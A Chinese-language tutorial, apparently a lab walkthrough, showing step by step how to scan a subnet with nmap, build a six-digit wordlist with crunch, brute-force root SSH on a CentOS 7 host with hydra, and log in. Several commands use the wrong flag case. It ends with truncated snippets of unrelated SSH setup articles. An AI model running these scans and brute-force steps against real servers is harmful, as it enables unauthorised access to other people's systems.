環境準備:
1,kali //黑客機
2,centos7 //肉雞
3,hydra //系統自帶工具
4,crunch //系統自帶工具
操作步驟:
1,掃瞄網段裡的目標主機
nmap -sp 192.168.1.1-255 //掃瞄網段主機
nmap -ss 192.168.1.188 //掃瞄埠開放情況
nmap -o 192.168.1.188 //掃瞄系統,版本資訊
nmap -sv 192.168.1.188 //掃瞄應用程式和應程式版本號
掃瞄到22埠是開著的,進行下一步操作,
2,生成密碼字典
crunch 6 6 123456 -d 1 -o 1.1txt
最小六位數,最大六位數,
密碼組成數字是123456
1.1txt是生成密碼後的檔案
3,暴力破解
hydra -l root -p 1.1txt 192.168.1.188 ssh
也可以這樣
hydra -l root -p 1.1txt ssh:
-l ------------------------- 指定使用者
-p -------------------------指定密碼字典
ssh -----------------------指定埠
我用是密碼字典是我自己寫的,也可以用密碼字典生成,
但是破解速度慢
破解成功:使用者 :root 密碼:123456
hydra破解成功的關鍵是密碼字典,密碼字典不行破解就不會成功,
3,登入
ssh -l root 192.168.1.188
輸入密碼成功登陸到centos7,
Centos7 公鑰登陸
1 登陸到伺服器修改sshd config 登入伺服器,輸入命令vi etc ssh sshd config修改配置檔案 找到rsaauthentication pubkeyauthentication authorizedkeyfiles strictmodes所在的行,如果被 注釋了,就取消 號...
centos7修改埠登陸
1 安裝ssh服務 yum install y openssh server 2 修改預設埠並儲存 vim etc ssh sshd config 3 開啟防火牆 service firewalld start 4 開放指定埠 firewall cmd zone public add port 19...
CentOS7配置免密碼登陸
安裝 rpm ivh rpm 解除安裝 rpm qa grep jdk 查到什麼,就用rpm e nodeps解除安裝什麼。centos7配置免密碼登陸 3臺主機 192.168.30.207 master 192.168.30.251 node1 192.168.30.252 node2 三颱主機...